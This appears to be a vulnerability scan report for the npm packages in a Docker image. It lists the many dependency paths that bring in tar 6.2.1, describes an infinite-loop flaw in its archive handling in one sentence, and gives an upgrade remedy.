  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Infinite loop via the replace method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.

Remediation

Upgrade tar to version 7.5.18 or higher.

References

More about this vulnerability

Allocation of Resources Without Limits or Throttling

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /usr/local/lib/node_modules
  • Package Manager: npm
  • Vulnerable module: tar
  • Introduced through: lib@*, npm@10.8.2 and others

Detailed paths

  • Introduced through: lib@* › npm@10.8.2 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmaccess@8.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmhook@10.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmorg@6.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmsearch@7.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmteam@6.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › npm-profile@10.0.0 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
